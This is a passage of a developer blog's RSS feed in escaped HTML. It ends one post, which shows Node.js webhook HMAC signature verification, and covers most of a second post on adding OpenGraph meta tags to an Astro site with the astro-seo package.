&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;hmac&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; crypto.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;createHmac&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sha256&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, secret);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    hmac.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(request.rawBody).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;hex&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;signature&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(request.headers[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;x-signature&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;crypto.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;timingSafeEqual&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(digest, signature)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Invalid signature.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In summary, there’s a fully working code example in the following GitHub repository
here: &lt;a href=&quot;https://github.com/lirantal/lemon-squeezy-firebase-webhook-fastify&quot;&gt;https://github.com/lirantal/lemon-squeezy-firebase-webhook-fastify&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Have fun indie hacking! ;-)&lt;/p&gt;</content:encoded></item><item><title>How To Get Social Media Previews Right on Astro blog with OpenGraph Meta Tags</title><link>https://lirantal.com/blog/getting-social-media-previews-right-with-opengraph-meta-tags/</link><guid>https://lirantal.com/blog/getting-social-media-previews-right-with-opengraph-meta-tags/</guid><description>You have an Astro blog? Now it&apos;s time to unlock the social sharing magic! Learn to wield OpenGraph meta tags configuration, crafting eye-catching previews. Optimize your website&apos;s social share game with these tips.</description><pubDate>Wed, 03 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So, you’ve got this fantastic website, and you’re ready to share it with the world. But wait, have you considered how it looks when someone shares it on Facebook, Twitter, LinkedIn, or even WhatsApp? This is where OpenGraph comes into play – the unsung hero of social media previews.&lt;/p&gt;
&lt;h2 id=&quot;what-is-opengraph&quot;&gt;What is OpenGraph?&lt;/h2&gt;
&lt;p&gt;OpenGraph is not some mysterious concept from a distant galaxy; it’s a set of metadata tags that you can embed in your website’s HTML. These tags provide information to social media platforms about how your content should be presented when shared. Think of them as the backstage passes for your website’s appearance on social media.&lt;/p&gt;
&lt;h2 id=&quot;why-opengraph-important&quot;&gt;Why OpenGraph important?&lt;/h2&gt;
&lt;p&gt;Imagine sharing a link, and instead of a beautiful preview with an eye-catching image, you get a bland, generic snippet. OpenGraph ensures that when your content is shared, it grabs attention with engaging visuals and relevant information. It’s your website’s chance to make a memorable first impression.&lt;/p&gt;
&lt;h2 id=&quot;example-of-opengraph-meta-tags&quot;&gt;Example of OpenGraph Meta Tags&lt;/h2&gt;
&lt;p&gt;Here’s a sneak peek at what OpenGraph meta tags look like for Facebook, Twitter, and LinkedIn:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;og:title&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Your Title Here&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;og:description&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Your engaging description here. Keep it concise and intriguing!&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;og:image&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://yourdomain.com/path/to/your/image.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;og:url&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://yourdomain.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;using-opengraph-meta-tags-in-astro&quot;&gt;Using OpenGraph Meta Tags in Astro&lt;/h2&gt;
&lt;p&gt;Astro is a fantastic static site generator that I’ve been using for this blog. It’s a great way to build fast, modern websites with a minimal footprint. Astro also has a handy &lt;a href=&quot;https://docs.astro.build/core-concepts/seo&quot;&gt;SEO component&lt;/a&gt; that makes it easy to add OpenGraph meta tags to your website.&lt;/p&gt;
&lt;p&gt;To get started, you’ll need to install the &lt;code&gt;astro-seo&lt;/code&gt; package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install astro-seo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, you can add the &lt;code&gt;SEO&lt;/code&gt; component to your Astro project’s &lt;code&gt;src/components/seo.astro&lt;/code&gt; file. Here’s an example of how I’ve set up the SEO component for my &lt;a href=&quot;https://www.nodejs-security.com/&quot;&gt;Node.js Secure Coding&lt;/a&gt; blog:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { SEO } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;astro-seo&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { SITE } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;~/config.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; defaultImageFile &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;~/assets/images/nodejs-secure-coding-website-og-lightmode-v3.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;SITE&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;canonical&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;noindex&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;nofollow&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;ogTitle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; title,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;ogType&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;website&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Astro.props;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;siteBaseURL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(Astro.url);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;defaultImage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(defaultImageFile.src, siteBaseURL);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: _image } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Astro.props;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;_image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; _image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; defaultImage;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; _image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(_image, siteBaseURL);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (_image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; _image[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;href&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;undefined&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(_image[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;href&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], siteBaseURL);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; defaultImage;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;viewport&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;width=device-width, initial-scale=1.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;SEO&lt;/span&gt;&lt;/span&gt;
